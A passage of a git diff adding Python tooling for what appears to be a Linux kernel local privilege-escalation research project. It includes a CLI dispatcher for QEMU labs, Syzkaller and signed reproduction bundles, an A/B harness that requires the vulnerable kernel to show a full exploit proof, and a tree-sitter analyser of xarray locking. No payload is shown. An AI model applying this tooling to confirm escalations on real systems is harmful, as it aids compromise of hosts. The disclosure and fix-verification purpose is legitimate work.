report["measurement_valid"] else 1 + raise AssertionError("unreachable reliability command") + if args.command == "lab": + profile = load_lab_profile(args.profile) + if args.lab_command == "plan": + report = build_qemu_plan(profile) + _emit(report, args.output) + return 0 + if args.lab_command == "run": + report = run_lab(profile, args.output_dir) + _emit(report, args.output) + return 0 if report["passed"] else 1 + raise AssertionError("unreachable lab command") + if args.command == "target": + if args.target_command == "validate": + profile = load_target_profile(args.profile) + report = validate_target_profile(profile, args.backend_registry) + elif args.target_command == "matrix": + report = validate_target_matrix( + args.matrix, args.backend_registry + ) + else: + raise AssertionError("unreachable target command") + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "geometry": + matrix_path = args.matrix.resolve(strict=True) + matrix = _load_json_object(matrix_path, "geometry matrix") + targets = matrix.get("targets") + if not isinstance(targets, list): + raise ValueError("geometry matrix targets must be a list") + resolved_targets: list[dict[str, object]] = [] + for index, target in enumerate(targets): + if not isinstance(target, dict): + raise ValueError( + f"geometry matrix target {index} must be an object" + ) + resolved = dict(target) + for field in ("kernel", "initramfs", "log"): + value = resolved.get(field) + if not isinstance(value, str) or not value: + raise ValueError( + f"geometry matrix target {index} {field} is invalid" + ) + artifact = Path(value) + if not artifact.is_absolute(): + artifact = matrix_path.parent / artifact + resolved[field] = str(artifact.resolve()) + resolved_targets.append(resolved) + report = validate_geometry_matrix( + resolved_targets, + backend_registry=args.backend_registry, + source_facts=matrix.get("source_facts", []), + capabilities=matrix.get("capabilities", []), + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "trace": + report = decode_kernel_logs(args.logs, vmlinux=args.vmlinux) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "candidate": + if args.candidate_command == "same-mapping": + report = run_same_mapping_io_selection( + args.kernel_source, + baseline_ref=args.baseline_ref, + gcc=args.gcc, + clang=args.clang, + ) + elif args.candidate_command == "swapoff": + report = run_privileged_swapoff_correctness( + args.kernel_source, + baseline_ref=args.baseline_ref, + gcc=args.gcc, + clang=args.clang, + ) + elif args.candidate_command == "v420-dax": + report = run_v420_dax_transition( + args.kernel_source, + baseline_ref=args.baseline_ref, + gcc=args.gcc, + clang=args.clang, + ) + elif args.candidate_command == "fscache": + report = audit_fscache_private2( + args.kernel_source, ref=args.ref + ) + elif args.candidate_command == "early-shmem-lineage": + options = ( + {"refs": args.refs} if args.refs is not None else {} + ) + report = audit_early_shmem_lineage( + args.kernel_source, **options + ) + else: + raise AssertionError("unreachable candidate command") + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "syzkaller": + if args.syzkaller_command == "config": + profile = _load_json_object(args.profile, "Syzkaller profile") + report = write_manager_config(profile, args.config_output) + elif args.syzkaller_command == "seed": + report = stage_seed_corpus( + args.destination, + syz_db=args.syz_db, + target_os=args.target_os, + target_arch=args.target_arch, + ) + elif args.syzkaller_command == "repro": + report = run_syz_repro( + args.syz_repro, + args.manager_config, + args.execution_log, + args.destination, + vm_count=args.vm_count, + timeout_seconds=args.timeout, + ) + elif args.syzkaller_command == "crashes": + report = catalog_crashes(args.workdir) + else: + raise AssertionError("unreachable Syzkaller command") + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "state": + if args.state_command == "create": + plan = _load_json_object(args.plan, "run plan") + report = create_run(args.store, plan) + elif args.state_command == "show": + report = load_run(args.store, args.run_id) + elif args.state_command == "next": + report = load_run(args.store, args.run_id) + report["next_ready_step"] = next_ready_step(report) + elif args.state_command == "start": + report = start_step(args.store, args.run_id, args.step) + elif args.state_command == "complete": + report = complete_step( + args.store, args.run_id, args.step, args.artifacts + ) + elif args.state_command == "fail": + report = fail_step( + args.store, args.run_id, args.step, args.error + ) + elif args.state_command == "resume": + report = resume_run(args.store, args.run_id) + else: + raise AssertionError("unreachable state command") + _emit(report, args.output) + return 0 + if args.command == "report": + if args.report_command != "build": + raise AssertionError("unreachable report command") + report = generate_finding_reports( + args.profile, + args.root, + args.output_dir, + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "bundle": + if args.bundle_command != "build": + raise AssertionError("unreachable bundle command") + report = build_reproduction_bundle( + args.profile, + args.root, + args.output_dir, + args.secret_key, + args.public_key, + minisign=args.minisign, + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "sign": + if args.sign_command == "keygen": + report = generate_minisign_keypair( + args.secret_key, + args.public_key, + minisign=args.minisign, + ) + elif args.sign_command == "create": + report = sign_with_minisign( + args.artifact, + args.signature, + args.secret_key, + args.public_key, + trusted_comment=args.trusted_comment, + minisign=args.minisign, + ) + elif args.sign_command == "verify": + report = verify_minisign_signature( + args.artifact, + args.signature, + args.public_key, + minisign=args.minisign, + ) + else: + raise AssertionError("unreachable sign command") + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "toolchain": + if args.toolchain_command == "verify": + report = verify_toolchain_lock(args.lock, args.root) + elif args.toolchain_command == "metadata": + report = generate_supply_chain_metadata( + args.lock, + args.root, + args.sbom, + args.provenance, + ) + else: + raise AssertionError("unreachable toolchain command") + _emit(report, args.output) + return 0 if report["passed"] else 1 + except (GitError, OSError, RuntimeError, ValueError) as error: + sys.stderr.write(f"dirty-crow: {error}\n") + return 2 + raise AssertionError("unreachable command") + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/compare.py b/dirty-crow-xarray-lpe/framework/dirtycrow/compare.py new file mode 100644 index 0000000..79e5759 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/compare.py @@ -0,0 +1,338 @@ +from __future__ import annotations + +import re +from dataclasses import dataclass +from pathlib import Path +from typing import Callable + +from .lab import LabProfile, build_qemu_plan, load_lab_profile, run_lab +from .runtime_evidence import analyze_console, evidence_contract +from .strictjson import ( + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, + write_json_atomic, +) + +_SCHEMA_VERSION = 1 +_NAME = re.compile(r"[A-Za-z0-9][A-Za-z0-9._-]{0,127}\Z") +_ROLES = {"vulnerable", "fixed", "control"} +_CONTROL_KINDS = {"single-cpu", "no-thp", "probe-only"} + + +class ComparisonError(ValueError): + """A comparison profile or A/B result violates the proof contract.""" + + +@dataclass(frozen=True) +class FixArtifact: + path: Path + sha256: str + + +@dataclass(frozen=True) +class ComparisonRun: + name: str + role: str + control: str | None + profile_path: Path + lab: LabProfile + + +@dataclass(frozen=True) +class ComparisonProfile: + source: Path + comparison_id: str + fix: FixArtifact + runs: tuple[ComparisonRun, ...] + + +LabRunner = Callable[[LabProfile, Path], dict[str, object]] + + +def _name(value: object, field: str) -> str: + result = expect_string(value, field, ComparisonError) + if not _NAME.fullmatch(result): + raise ComparisonError( + f"{field} must match [A-Za-z0-9][A-Za-z0-9._-]{{0,127}}" + ) + return result + + +def _parse_fix(value: object, root: Path) -> FixArtifact: + payload = expect_object(value, "fix", ComparisonError) + expect_keys( + payload, + "fix", + required={"path", "sha256"}, + error_type=ComparisonError, + ) + path = resolve_beneath_file(root, payload["path"], "fix.path", ComparisonError) + expected = expect_sha256(payload["sha256"], "fix.sha256", ComparisonError) + actual = sha256_file(path) + if actual != expected: + raise ComparisonError( + f"fix SHA-256 mismatch: expected {expected}, observed {actual}" + ) + return FixArtifact(path=path, sha256=expected) + + +def _parse_run(value: object, index: int, root: Path) -> ComparisonRun: + field = f"runs[{index}]" + payload = expect_object(value, field, ComparisonError) + expect_keys( + payload, + field, + required={"name", "role", "profile"}, + optional={"control"}, + error_type=ComparisonError, + ) + role = expect_string(payload["role"], f"{field}.role", ComparisonError) + if role not in _ROLES: + raise ComparisonError(f"{field}.role must be control, fixed, or vulnerable") + control_value = payload.get("control") + control = ( + None + if control_value is None + else expect_string(control_value, f"{field}.control", ComparisonError) + ) + if role == "control": + if control not in _CONTROL_KINDS: + raise ComparisonError( + f"{field}.control must be one of {', '.join(sorted(_CONTROL_KINDS))}" + ) + elif control is not None: + raise ComparisonError(f"{field}.control is valid only for a control run") + profile_path = resolve_beneath_file( + root, payload["profile"], f"{field}.profile", ComparisonError + ) + return ComparisonRun( + name=_name(payload["name"], f"{field}.name"), + role=role, + control=control, + profile_path=profile_path, + lab=load_lab_profile(profile_path), + ) + + +def _rootfs_identity(profile: LabProfile) -> tuple[str, str] | None: + if profile.rootfs is None: + return None + return profile.rootfs.sha256, profile.rootfs.format + + +def _validate_twin(vulnerable: ComparisonRun, fixed: ComparisonRun) -> None: + if vulnerable.lab.kernel.sha256 == fixed.lab.kernel.sha256: + raise ComparisonError("vulnerable and fixed kernel hashes must differ") + twin_fields: tuple[tuple[str, object, object], ...] = ( + ("initrd", vulnerable.lab.initrd.sha256, fixed.lab.initrd.sha256), + ("rootfs", _rootfs_identity(vulnerable.lab), _rootfs_identity(fixed.lab)), + ("VM configuration", vulnerable.lab.vm, fixed.lab.vm), + ("boot configuration", vulnerable.lab.boot, fixed.lab.boot), + ) + mismatches = [name for name, left, right in twin_fields if left != right] + if mismatches: + raise ComparisonError( + "vulnerable/fixed twins differ outside the kernel: " + ", ".join(mismatches) + ) + if vulnerable.lab.boot.action != "backstep-proof": + raise ComparisonError("vulnerable/fixed twins must use boot.action=backstep-proof") + + +def _vm_identity_without_cpus(profile: LabProfile) -> tuple[object, ...]: + vm = profile.vm + return ( + vm.architecture, + vm.page_size, + vm.qemu_binary, + vm.machine, + vm.acceleration, + vm.cpu, + vm.memory_mib, + vm.timeout_seconds, + vm.watchdog, + ) + + +def _validate_control(control: ComparisonRun, vulnerable: ComparisonRun) -> None: + if control.lab.kernel.sha256 != vulnerable.lab.kernel.sha256: + raise ComparisonError(f"control {control.name} must use the vulnerable kernel") + if control.lab.initrd.sha256 != vulnerable.lab.initrd.sha256: + raise ComparisonError(f"control {control.name} must use the same initrd") + if _rootfs_identity(control.lab) != _rootfs_identity(vulnerable.lab): + raise ComparisonError(f"control {control.name} must use the same rootfs") + if control.control == "single-cpu": + if control.lab.vm.cpus != 1 or vulnerable.lab.vm.cpus == 1: + raise ComparisonError( + f"control {control.name} must change a multi-CPU target to exactly one CPU" + ) + if _vm_identity_without_cpus(control.lab) != _vm_identity_without_cpus( + vulnerable.lab + ) or control.lab.boot != vulnerable.lab.boot: + raise ComparisonError( + f"control {control.name} may differ only in the CPU count" + ) + if control.control == "no-thp": + expected_tokens = vulnerable.lab.boot.append.split() + [ + "transparent_hugepage=never" + ] + if ( + control.lab.vm != vulnerable.lab.vm + or control.lab.boot.action != vulnerable.lab.boot.action + or sorted(control.lab.boot.append.split()) != sorted(expected_tokens) + ): + raise ComparisonError( + f"control {control.name} may add only transparent_hugepage=never" + ) + if control.control == "probe-only": + if ( + control.lab.vm != vulnerable.lab.vm + or control.lab.boot.append != vulnerable.lab.boot.append + or control.lab.boot.action != "probe" + ): + raise ComparisonError( + f"control {control.name} may differ only by using boot.action=probe" + ) + + +def load_comparison_profile(profile_path: Path) -> ComparisonProfile: + source = profile_path.resolve(strict=True) + if not source.is_file(): + raise ComparisonError(f"profile is not a regular file: {source}") + root = source.parent.resolve(strict=True) + payload = load_object(source, ComparisonError) + expect_keys( + payload, + "comparison", + required={"schema_version", "comparison_id", "fix", "runs"}, + error_type=ComparisonError, + ) + if payload["schema_version"] != _SCHEMA_VERSION: + raise ComparisonError( + f"unsupported comparison schema_version: {payload['schema_version']!r}" + ) + raw_runs = expect_list(payload["runs"], "runs", ComparisonError) + runs = tuple(_parse_run(value, index, root) for index, value in enumerate(raw_runs)) + names = [run.name for run in runs] + if len(names) != len(set(names)): + raise ComparisonError("comparison run names must be unique") + vulnerable = [run for run in runs if run.role == "vulnerable"] + fixed = [run for run in runs if run.role == "fixed"] + controls = [run for run in runs if run.role == "control"] + if len(vulnerable) != 1 or len(fixed) != 1 or not controls: + raise ComparisonError( + "comparison requires exactly one vulnerable run, exactly one fixed run, " + "and at least one control" + ) + _validate_twin(vulnerable[0], fixed[0]) + for control in controls: + _validate_control(control, vulnerable[0]) + return ComparisonProfile( + source=source, + comparison_id=_name(payload["comparison_id"], "comparison_id"), + fix=_parse_fix(payload["fix"], root), + runs=runs, + ) + + +def build_comparison_plan(profile: ComparisonProfile) -> dict[str, object]: + return { + "schema_version": _SCHEMA_VERSION, + "comparison_id": profile.comparison_id, + "comparison_profile_sha256": sha256_file(profile.source), + "fix": {"path": str(profile.fix.path), "sha256": profile.fix.sha256}, + "claim_boundary": ( + "Artifact-level runtime A/B comparison; this record does not prove that " + "the fixed kernel was built solely by applying the declared patch." + ), + "pass_contract": { + "vulnerable": "clean-full-proof", + "fixed": "clean-no-proof", + "control": "clean-no-proof", + "evidence": evidence_contract(), + }, + "runs": [ + { + "name": run.name, + "role": run.role, + "control": run.control, + "expectation": ( + "clean-full-proof" if run.role == "vulnerable" else "clean-no-proof" + ), + "lab_plan": build_qemu_plan(run.lab), + } + for run in profile.runs + ], + } + + + + +def run_comparison( + profile: ComparisonProfile, + output_dir: Path, + *, + lab_runner: LabRunner = run_lab, +) -> dict[str, object]: + destination = output_dir.resolve(strict=False) + if destination.exists(): + raise FileExistsError(f"comparison output directory already exists: {destination}") + destination.mkdir(parents=True) + plan = build_comparison_plan(profile) + write_json_atomic(destination / "plan.json", plan) + run_records: list[dict[str, object]] = [] + + for run in profile.runs: + run_output = destination / run.name + lab_result = lab_runner(run.lab, run_output) + scan = analyze_console(run_output / "console.log") + clean_exit = lab_result.get("passed") is True + no_crash = not scan["crash_markers"] + initial_state_valid = scan["initial_state_valid"] is True + evidence_reference = lab_result.get("evidence") + proof_confirmed = ( + isinstance(evidence_reference, dict) + and evidence_reference.get("proof_confirmed") is True + ) + if run.role == "vulnerable": + passed = ( + clean_exit + and no_crash + and initial_state_valid + and scan["full_proof"] is True + and proof_confirmed + ) + else: + passed = ( + clean_exit + and no_crash + and initial_state_valid + and scan["security_impact_observed"] is False + ) + run_records.append( + { + "name": run.name, + "role": run.role, + "control": run.control, + "passed": passed, + "lab_result": lab_result, + "console_evidence": scan, + } + ) + + result: dict[str, object] = { + "schema_version": _SCHEMA_VERSION, + "comparison_id": profile.comparison_id, + "passed": all(record["passed"] is True for record in run_records), + "fix_sha256": profile.fix.sha256, + "plan_sha256": sha256_file(destination / "plan.json"), + "claim_boundary": plan["claim_boundary"], + "runs": run_records, + } + write_json_atomic(destination / "comparison.json", result) + return result diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/cstruct.py b/dirty-crow-xarray-lpe/framework/dirtycrow/cstruct.py new file mode 100644 index 0000000..cd9deb6 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/cstruct.py @@ -0,0 +1,733 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Iterable + +from tree_sitter import Language, Node, Parser +import tree_sitter_c + +_C_LANGUAGE = Language(tree_sitter_c.language()) +_CAPABILITY_CALLS = { + "capable", + "file_ns_capable", + "has_capability", + "inode_owner_or_capable", + "ns_capable", + "ns_capable_noaudit", + "security_capable", +} +_WRITER_LOCKS = { + "down_write", + "filemap_invalidate_lock", + "i_mmap_lock_write", + "mutex_lock", + "spin_lock", + "spin_lock_bh", + "spin_lock_irq", + "spin_lock_irqsave", + "write_lock", + "xa_lock", + "xa_lock_bh", + "xa_lock_irq", + "xa_lock_irqsave", + "xas_lock", + "xas_lock_irq", + "xas_lock_irqsave", +} +_WRITER_UNLOCKS = { + "filemap_invalidate_unlock", + "i_mmap_unlock_write", + "mutex_unlock", + "spin_unlock", + "spin_unlock_bh", + "spin_unlock_irq", + "spin_unlock_irqrestore", + "up_write", + "write_unlock", + "xa_unlock", + "xa_unlock_bh", + "xa_unlock_irq", + "xa_unlock_irqrestore", + "xas_unlock", + "xas_unlock_irq", + "xas_unlock_irqrestore", +} +_RCU_LOCKS = {"rcu_read_lock", "rcu_read_lock_bh", "rcu_read_lock_sched"} +_RCU_UNLOCKS = {"rcu_read_unlock", "rcu_read_unlock_bh", "rcu_read_unlock_sched"} +_XARRAY_STATE_MACROS = { + "XA_STATE", + "XA_STATE_ORDER", + "XA_STATE_RANGE", + "XA_STATE_FLAGS", +} + + +@dataclass(frozen=True) +class ParseIssue: + kind: str + line: int + column: int + node_type: str + excerpt: str + + def as_dict(self) -> dict[str, object]: + return { + "kind": self.kind, + "line": self.line, + "column": self.column, + "node_type": self.node_type, + "excerpt": self.excerpt, + } + + +@dataclass(frozen=True) +class StructuralCall: + name: str + arguments: tuple[str, ...] + start: int + end: int + line: int + column: int + function: str + conditions: tuple[str, ...] + origin: str = "call_expression" + + +@dataclass(frozen=True) +class FieldAccess: + base: str + field: str + text: str + start: int + end: int + + +@dataclass(frozen=True) +class BinaryOperation: + operator: str + text: str + start: int + end: int + fields: tuple[str, ...] + + +@dataclass(frozen=True) +class StructuralAssignment: + left: str + right: str + start: int + end: int + conditions: tuple[str, ...] + + +@dataclass(frozen=True) +class StructuralFunction: + name: str + start: int + body_start: int + end: int + return_type: str + parameters: tuple[str, ...] + parameter_names: tuple[str, ...] + calls: tuple[StructuralCall, ...] + fields: tuple[FieldAccess, ...] + binary_operations: tuple[BinaryOperation, ...] + assignments: tuple[StructuralAssignment, ...] + returns: tuple[str, ...] + + +@dataclass(frozen=True) +class StructuralMacro: + name: str + parameters: tuple[str, ...] + body: str + start: int + end: int + line: int + + +@dataclass(frozen=True) +class LockState: + context: str + direct: bool + inherited_from: tuple[str, ...] + mixed_callers: bool + + +@dataclass(frozen=True) +class TranslationUnit: + source: str + status: str + issue_count: int + issues: tuple[ParseIssue, ...] + functions: tuple[StructuralFunction, ...] + macros: tuple[StructuralMacro, ...] + global_calls: tuple[StructuralCall, ...] + + def function_at(self, byte_offset: int) -> StructuralFunction | None: + candidates = [ + function + for function in self.functions + if function.start <= byte_offset < function.end + ] + if not candidates: + return None + return min(candidates, key=lambda function: function.end - function.start) + + def calls_named(self, names: Iterable[str]) -> list[StructuralCall]: + wanted = set(names) + calls = [ + call + for function in self.functions + for call in function.calls + if call.name in wanted + ] + calls.extend(call for call in self.global_calls if call.name in wanted) + return sorted(calls, key=lambda call: (call.start, call.end, call.name)) + + def callers_of(self, function_name: str) -> tuple[StructuralFunction, ...]: + return tuple( + function + for function in self.functions + if any(call.name == function_name for call in function.calls) + ) + + def consumer_regions( + self, function: StructuralFunction, call: StructuralCall + ) -> tuple[tuple[StructuralFunction, int], ...]: + regions: dict[tuple[str, int], tuple[StructuralFunction, int]] = { + (function.name, call.start): (function, call.start) + } + if not call.arguments: + return tuple(regions.values()) + + self._add_caller_consumer_regions( + function, + _canonical_expression(call.arguments[0]), + regions, + frozenset(), + ) + return tuple( + regions[key] for key in sorted(regions, key=lambda item: (item[0], item[1])) + ) + + def _add_caller_consumer_regions( + self, + function: StructuralFunction, + state: str, + regions: dict[tuple[str, int], tuple[StructuralFunction, int]], + visited: frozenset[tuple[str, str]], + ) -> None: + key = (function.name, state) + if key in visited: + return + visited = visited | {key} + parameter_indexes = [ + index + for index, name in enumerate(function.parameter_names) + if _canonical_expression(name) == state + ] + if not parameter_indexes: + return + + for caller in self.callers_of(function.name): + for target in caller.calls: + if target.name != function.name: + continue + regions[(caller.name, target.start)] = (caller, target.start) + for index in parameter_indexes: + if index >= len(target.arguments): + continue + self._add_caller_consumer_regions( + caller, + _canonical_expression(target.arguments[index]), + regions, + visited, + ) + + def lock_state_at( + self, function: StructuralFunction, call: StructuralCall + ) -> LockState: + direct_context = _direct_lock_context(function.calls, call.start) + if direct_context != "unclassified": + return LockState(direct_context, True, (), False) + + inherited: list[str] = [] + unlocked_callers = False + for caller in self.callers_of(function.name): + target_calls = [ + candidate + for candidate in caller.calls + if candidate.name == function.name + ] + for target in target_calls: + context = _direct_lock_context(caller.calls, target.start) + if context == "unclassified": + unlocked_callers = True + else: + inherited.append(f"{caller.name}:{context}") + if inherited and not unlocked_callers: + contexts = {item.rsplit(":", 1)[1] for item in inherited} + context = ( + "writer_lock_inherited" + if "writer_lock" in contexts + else "rcu_inherited" + ) + return LockState(context, False, tuple(sorted(inherited)), False) + if inherited: + return LockState( + "mixed_inherited", + False, + tuple(sorted(inherited)), + True, + ) + return LockState("unclassified", False, (), False) + + def capability_gates( + self, function: StructuralFunction, call: StructuralCall + ) -> tuple[str, ...]: + gates = { + f"{candidate.name}({', '.join(candidate.arguments)})" + for candidate in function.calls + if candidate.start < call.start and candidate.name in _CAPABILITY_CALLS + } + gates.update( + condition + for condition in call.conditions + if any(name in condition for name in _CAPABILITY_CALLS) + ) + return tuple(sorted(gates)) + + def container_for( + self, function: StructuralFunction, call: StructuralCall + ) -> str | None: + if not call.arguments: + return None + if call.name.startswith("xa_") and not call.name.startswith("xas_"): + return call.arguments[0] + candidates = self._container_candidates( + function, + _canonical_expression(call.arguments[0]), + call.start, + frozenset(), + ) + if len(candidates) == 1: + return next(iter(candidates)) + if candidates: + return "ambiguous(" + ", ".join(sorted(candidates)) + ")" + return None + + def _container_candidates( + self, + function: StructuralFunction, + state: str, + before: int, + visited: frozenset[tuple[str, str]], + ) -> frozenset[str]: + key = (function.name, state) + if key in visited: + return frozenset() + visited = visited | {key} + + local = { + candidate.arguments[1] + for candidate in function.calls + if candidate.start < before + and candidate.name in _XARRAY_STATE_MACROS + and len(candidate.arguments) >= 2 + and _canonical_expression(candidate.arguments[0]) == state + } + if local: + return frozenset(local) + + parameter_indexes = [ + index + for index, name in enumerate(function.parameter_names) + if _canonical_expression(name) == state + ] + if not parameter_indexes: + return frozenset() + + inherited: set[str] = set() + for caller in self.callers_of(function.name): + for target in caller.calls: + if target.name != function.name: + continue + for index in parameter_indexes: + if index >= len(target.arguments): + continue + inherited.update( + self._container_candidates( + caller, + _canonical_expression(target.arguments[index]), + target.start, + visited, + ) + ) + return frozenset(inherited) + + +def _text(source: bytes, node: Node | None) -> str: + if node is None: + return "" + return source[node.start_byte : node.end_byte].decode("utf-8", errors="replace") + + +def _walk(node: Node) -> Iterable[Node]: + stack = [node] + while stack: + current = stack.pop() + yield current + stack.extend(reversed(current.children)) + + +def _identifier(node: Node | None, source: bytes) -> str: + if node is None: + return "" + if node.type in {"identifier", "field_identifier", "type_identifier"}: + return _text(source, node) + declarator = node.child_by_field_name("declarator") + if declarator is not None: + found = _identifier(declarator, source) + if found: + return found + for child in node.named_children: + found = _identifier(child, source) + if found: + return found + return "" + + +def _call_name(node: Node | None, source: bytes) -> str: + if node is None: + return "" + if node.type == "identifier": + return _text(source, node) + if node.type == "field_expression": + field = node.child_by_field_name("field") + return _text(source, field) or _text(source, node) + if node.type == "parenthesized_expression" and node.named_children: + return _call_name(node.named_children[0], source) + return _text(source, node) + + +def _conditions(node: Node, stop: Node, source: bytes) -> tuple[str, ...]: + conditions: list[str] = [] + current = node.parent + while current is not None and current != stop: + if current.type in { + "do_statement", + "for_statement", + "if_statement", + "switch_statement", + "while_statement", + }: + condition = current.child_by_field_name("condition") + if condition is not None: + conditions.append(_text(source, condition)) + current = current.parent + return tuple(reversed(conditions)) + + +def _calls(node: Node, function: str, source: bytes) -> tuple[StructuralCall, ...]: + calls: list[StructuralCall] = [] + for candidate in _walk(node): + if candidate.type != "call_expression": + continue + arguments_node = candidate.child_by_field_name("arguments") + arguments = ( + tuple(_text(source, child) for child in arguments_node.named_children) + if arguments_node is not None + else () + ) + calls.append( + StructuralCall( + name=_call_name(candidate.child_by_field_name("function"), source), + arguments=arguments, + start=candidate.start_byte, + end=candidate.end_byte, + line=candidate.start_point.row + 1, + column=candidate.start_point.column + 1, + function=function, + conditions=_conditions(candidate, node, source), + ) + ) + return tuple(sorted(calls, key=lambda call: (call.start, call.end))) + + +def _fields(node: Node, source: bytes) -> tuple[FieldAccess, ...]: + fields: list[FieldAccess] = [] + for candidate in _walk(node): + if candidate.type != "field_expression": + continue + base = candidate.child_by_field_name("argument") + field = candidate.child_by_field_name("field") + fields.append( + FieldAccess( + base=_text(source, base), + field=_text(source, field), + text=_text(source, candidate), + start=candidate.start_byte, + end=candidate.end_byte, + ) + ) + return tuple(fields) + + +def _binary_operations(node: Node, source: bytes) -> tuple[BinaryOperation, ...]: + operations: list[BinaryOperation] = [] + for candidate in _walk(node): + if candidate.type != "binary_expression": + continue + left = candidate.child_by_field_name("left") + right = candidate.child_by_field_name("right") + if left is None or right is None: + continue + operator = ( + source[left.end_byte : right.start_byte] + .decode("utf-8", errors="replace") + .strip() + ) + fields = tuple( + _text(source, child.child_by_field_name("field")) + for child in _walk(candidate) + if child.type == "field_expression" + ) + operations.append( + BinaryOperation( + operator=operator, + text=_text(source, candidate), + start=candidate.start_byte, + end=candidate.end_byte, + fields=fields, + ) + ) + return tuple(operations) + + +def _assignments(node: Node, source: bytes) -> tuple[StructuralAssignment, ...]: + assignments: list[StructuralAssignment] = [] + for candidate in _walk(node): + if candidate.type == "assignment_expression": + left = candidate.child_by_field_name("left") + right = candidate.child_by_field_name("right") + elif candidate.type == "init_declarator": + left = candidate.child_by_field_name("declarator") + right = candidate.child_by_field_name("value") + else: + continue + if left is None or right is None: + continue + assignments.append( + StructuralAssignment( + left=_text(source, left), + right=_text(source, right), + start=candidate.start_byte, + end=candidate.end_byte, + conditions=_conditions(candidate, node, source), + ) + ) + return tuple(assignments) + + +def _returns(node: Node, source: bytes) -> tuple[str, ...]: + return tuple( + _text(source, candidate) + for candidate in _walk(node) + if candidate.type == "return_statement" + ) + + +def _parameters( + declarator: Node | None, source: bytes +) -> tuple[tuple[str, ...], tuple[str, ...]]: + if declarator is None: + return (), () + parameter_list = declarator.child_by_field_name("parameters") + if parameter_list is None: + for child in _walk(declarator): + if child.type == "parameter_list": + parameter_list = child + break + if parameter_list is None: + return (), () + declarations = tuple(parameter_list.named_children) + return ( + tuple(_text(source, child) for child in declarations), + tuple( + _identifier(child.child_by_field_name("declarator"), source) + for child in declarations + ), + ) + + +def _function(node: Node, source: bytes) -> StructuralFunction: + declarator = node.child_by_field_name("declarator") + body = node.child_by_field_name("body") + if body is None: + body = node + name = _identifier(declarator, source) or "" + parameters, parameter_names = _parameters(declarator, source) + type_node = node.child_by_field_name("type") + return StructuralFunction( + name=name, + start=node.start_byte, + body_start=body.start_byte, + end=node.end_byte, + return_type=_text(source, type_node), + parameters=parameters, + parameter_names=parameter_names, + calls=_calls(body, name, source), + fields=_fields(body, source), + binary_operations=_binary_operations(body, source), + assignments=_assignments(body, source), + returns=_returns(body, source), + ) + + +def _macro(node: Node, source: bytes) -> StructuralMacro: + name_node = node.child_by_field_name("name") + parameters_node = node.child_by_field_name("parameters") + value_node = node.child_by_field_name("value") + parameters = ( + tuple(_text(source, child) for child in parameters_node.named_children) + if parameters_node is not None + else () + ) + return StructuralMacro( + name=_text(source, name_node), + parameters=parameters, + body=_text(source, value_node), + start=node.start_byte, + end=node.end_byte, + line=node.start_point.row + 1, + ) + + +def _issues(root: Node, source: bytes) -> tuple[int, tuple[ParseIssue, ...]]: + issues: list[ParseIssue] = [] + count = 0 + for node in _walk(root): + kind = "" + if node.is_error: + kind = "error" + elif node.is_missing: + kind = "missing" + if not kind: + continue + count += 1 + if len(issues) >= 100: + continue + excerpt = _text(source, node).replace("\n", " ").strip() + issues.append( + ParseIssue( + kind=kind, + line=node.start_point.row + 1, + column=node.start_point.column + 1, + node_type=node.type, + excerpt=excerpt[:160], + ) + ) + return count, tuple(issues) + + +def _macro_iterator_calls( + macros: Iterable[StructuralMacro], iterator_names: set[str] +) -> list[StructuralCall]: + calls: list[StructuralCall] = [] + for macro in macros: + for name in iterator_names: + token = name + "(" + position = macro.body.find(token) + if position < 0: + continue + calls.append( + StructuralCall( + name=name, + arguments=(), + start=macro.start + position, + end=macro.start + position + len(name), + line=macro.line, + column=1, + function=f"", + conditions=(), + origin="preprocessor_macro", + ) + ) + return calls + + +def parse_c(source: str) -> TranslationUnit: + encoded = source.encode("utf-8") + parser = Parser(_C_LANGUAGE) + tree = parser.parse(encoded) + root = tree.root_node + issue_count, issues = _issues(root, encoded) + functions = tuple( + _function(node, encoded) + for node in _walk(root) + if node.type == "function_definition" + ) + macros = tuple( + _macro(node, encoded) + for node in _walk(root) + if node.type in {"preproc_def", "preproc_function_def"} + ) + function_ranges = [(function.start, function.end) for function in functions] + global_calls = tuple( + call + for call in _calls(root, "", encoded) + if not any(start <= call.start < end for start, end in function_ranges) + ) + status = "clean" if issue_count == 0 else "partial" + return TranslationUnit( + source=source, + status=status, + issue_count=issue_count, + issues=issues, + functions=functions, + macros=macros, + global_calls=global_calls, + ) + + +def iterator_calls( + unit: TranslationUnit, iterator_names: Iterable[str] +) -> list[StructuralCall]: + names = set(iterator_names) + calls = unit.calls_named(names) + calls.extend(_macro_iterator_calls(unit.macros, names)) + unique = { + (call.start, call.name, call.function, call.origin): call for call in calls + } + return sorted(unique.values(), key=lambda call: (call.start, call.name)) + + +def _direct_lock_context(calls: Iterable[StructuralCall], before: int) -> str: + writer_depth = 0 + rcu_depth = 0 + for call in calls: + if call.start >= before: + break + if call.name in _WRITER_LOCKS: + writer_depth += 1 + elif call.name in _WRITER_UNLOCKS: + writer_depth = max(0, writer_depth - 1) + elif call.name in _RCU_LOCKS: + rcu_depth += 1 + elif call.name in _RCU_UNLOCKS: + rcu_depth = max(0, rcu_depth - 1) + if writer_depth: + return "writer_lock" + if rcu_depth: + return "rcu" + return "unclassified" + + +def _canonical_expression(expression: str) -> str: + compact = "".join(expression.split()) + while compact.startswith("&") or compact.startswith("*"): + compact = compact[1:] + while compact.startswith("(") and compact.endswith(")"): + compact = compact[1:-1] + return compact diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/disclosure.py b/dirty-crow-xarray-lpe/framework/dirtycrow/disclosure.py new file mode 100644 index 0000000..a2c3c8c --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/disclosure.py @@ 